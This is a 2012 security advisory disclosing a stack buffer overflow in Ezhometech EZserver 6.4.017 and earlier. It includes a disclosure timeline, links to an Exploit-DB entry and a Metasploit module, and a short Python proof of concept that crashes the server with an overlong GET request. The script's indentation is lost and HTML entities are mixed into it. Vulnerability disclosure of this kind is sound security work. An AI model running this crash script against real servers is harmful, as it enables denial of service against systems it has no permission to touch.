Ezhometech Ezserver <=6.4.017 Stack Buffer Overflow Vulnerability

EZserver version 6.4.017 or below contains a buffer overflow vulnerability which may possibly be exploited to cause a denial of service or arbitrary code execution.

Vulnerability Details

Buffer overflow condition exist in URL handling, sending long GET request to the server on port 8000
will cause server process to exit and may allow malicious code injection.
Further research found that the application does not care about the HTTP method,
so that by sending long characters to the port 8000 will make the program crash.

Vendor logs

06/11/2012 – Bug found
06/12/2012 – Vendor contacted
06/16/2012 – No response, advisory released.

Proof of Concept

from socket import *
import sys
if len(sys.argv) != 3:
print "[*] Proof of Concept of Ezserver &lt;=6.4.017 Buffer Overflow&quot;
print &quot;[*] by Spentera Research - research[at]spentera[dot]com&quot;
print &quot;[*] http://www.spentera.com/resources/security-advisory\n&quot;
print &quot;[*] Usage: python %s ip port&quot; %sys.argv[0]
host = sys.argv[1]
port = int(sys.argv[2])
junk = &quot;\x41&quot; * 10000
payload = junk
print &quot;[!] Connecting to %s on port %d&quot; % (host,port)
s = socket(AF_INET, SOCK_STREAM)
print &quot;[+] Launching attack..&quot;
s.send (&quot;GET /&quot; + payload + &quot;HTTP/1.0\r\n\r\n\r\n&quot;)
print &quot;[x] Could not connect to the server x_x&quot;

Working Exploit



Exploit Database: http://www.exploit-db.com/exploits/19266/
Metasploit: http://www.metasploit.com/modules/exploit/windows/http/ezserver_http


Posisi saya saat ini sebagai direktur dan pemilik PT Spentera, sebuah perusahaan yang fokus dalam bidang penetration test, incident response, intrusion analysis and forensic investigation.

Saya juga berkontribusi untuk repositori eksploit Metasploit Framework sebagai pengembang kode eksploit. Saat ini memegang sertifikasi dari Offensive Security Certified Professional (OSCP), Offensive Security Certified Expert (OSCE), ISO/IEC ISMS 27001: 2013 Lead Auditor/Auditor, GIAC Certified Intrusion Analyst (GCIA), dan Offensive Security Exploitation Expert (OSEE).

Jika ingin menghubungi saya dapat melalui email bisnis di tom at spentera dot id atau pribadi di me at modpr0 dot be

Articles: 64

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.